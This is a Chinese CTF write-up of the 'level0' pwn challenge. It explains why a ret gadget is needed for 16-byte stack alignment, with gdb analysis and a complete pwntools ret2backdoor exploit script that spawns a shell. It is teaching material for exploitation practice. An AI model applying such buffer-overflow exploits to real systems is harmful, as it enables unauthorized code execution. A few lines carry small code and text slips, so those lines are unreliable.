攻防世界pwn-level0栈对齐

栈对齐ret地址学习

题目地址,攻防世界-题库-pwn-(搜索)level0

NewStarCTFweek2-ez_game中出现了栈对齐相关知识点,故特地前来学习,远程非常轻易就可打通,但是用同样的脚本在本地却无法打通,故本篇重点关注于本地调试、ret栈对齐等相关知识

先找出ret的地址,以便于结合IDA更好的查看和学习其原理,使用 ret_addr = hex(next(elf.search(asm('ret'))))寻找汇编指令ret(n)的地址

┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# cat test.py  
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
ret_addr = next(elf.search(asm('ret')))	
print(hex(ret_addr))		#hex()把整数转为16进制字符串

查找结果:

┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 336505
[*] '/root/Desktop/Adworld XCTF/level0/pwn'
...
0x400431					#找到的地址为0x400431

把找到的地址放入构造的payload中

ret_addr = hex(next(elf.search(asm('ret'))))
payload = b'a' * 136 + p64(ret_addr) + p64(backdoor_addr)

测试运行,本地打通

┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 95888
[*] '/root/Desktop/Adworld XCTF/level0/pwn'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
$ ls
core.327566  core.336505  core.387362  input.dat  pwn  test.py
$ 
[*] Interrupted
[*] Stopped process './pwn' (pid 95888)

在IDA中使用 Alt + T 查找ret,发现存在多条ret(n)汇编指令

通过尝试使用地址0x400549(另外一个ret指令地址)也可以打通,一个程序中通常存在多条ret指令,并且通过本题还可以发现,其寻找的结果为这些地址中的较低地址,即由低地址向高地址寻找,找到即返回结果(和IDA寻找的方式很相似呢)

进一步研究其对齐原理,gdb调试,需要输入payload,使用写入文件的方法构造,主要方便于用dbg调试时需要输入内容的操作

...
backdoor_addr = 0x400596
payload = b'a' * 136 + p64(backdoor_addr)		#此为未进行栈对齐的payload
with open('./input.dat','wb') as file:			#把构造的payload写入文件(二进制形式)
    file.write(payload)

b main在主函数下断点,r < input.dat以文件输入运行,ni步过观察程序运行情况,最后程序卡在了这个位置,并给出了报错信息:[0x7ffffffffda58] not aigned to 16 bytes

分析其汇编指令

movaps xmmword ptr [rsp + 0x50], xmm0

这条指令使用了xxmm0寄存器,它的的功能是: 将xmm0中保存的单精度浮点数从xmm0移动至地址[rsp + 0x50]处 。

第二次调试修改了payload

payload = b'a' * 136 + p64(0x400549)+ p64(backdoor_addr)

当使用添加栈对齐地址(0x400549)的payload后,按照相同步骤调试,程序便不会再在原来的地方卡住,也没有看到报错的信息了

对比不进行栈对齐的执行结果来看,还会发现,rsp的最后一位数字为0了

通过分析文章和实验结果,可以得出结论:出错的指令使用了 XMM 寄存器,因此需要确保在执行这一指令时,rsp + 0x5016 的倍数。直观地说,就是该地址(rsp)必须以数字 0 结尾。当引入了一个新地址(ret的地址)后,栈顶(rsp)被迫下移8个字节,使之对齐 16Byte (最后一位就为0了),由于插入的地址指向了 ret 指令,所以程序的仍然可以顺利地进入 vulnerable_function函数,且并不会影响程序后续的正常运行

以此类推,如果遇到了使用 YMMZMMmovaps 指令,我们依然可以用这套思考方式,找出进入后门函数前栈顶需要满足的条件,进而构造栈结构。

exp

from pwn import *
io = process('./pwn')
#io = remote('ip',port)
elf = ELF('./pwn')
io.recvuntil(b"World\n")
backdoor_addr = 0x400596
ret_addr = next(elf.search(asm('ret')))
#payload = b'a' * 136 + p64(backdoor_addr)
#payload = b'a' * 136 + p64(0x400549)+ p64(backdoor_addr)
payload = b'a' * 136 + p64(ret_addr) + p64(backdoor_addr)

#print(hex(ret_addr))
io.sendline(payload)
io.interactive()
'''
with open('./input.dat','wb') as file:
    file.write(payload)
'''

文章参考:栈对齐—获取shell前的临门一脚

posted @ 2024-11-14 23:55  神犬侠义  阅读(121)  评论(0)    收藏  举报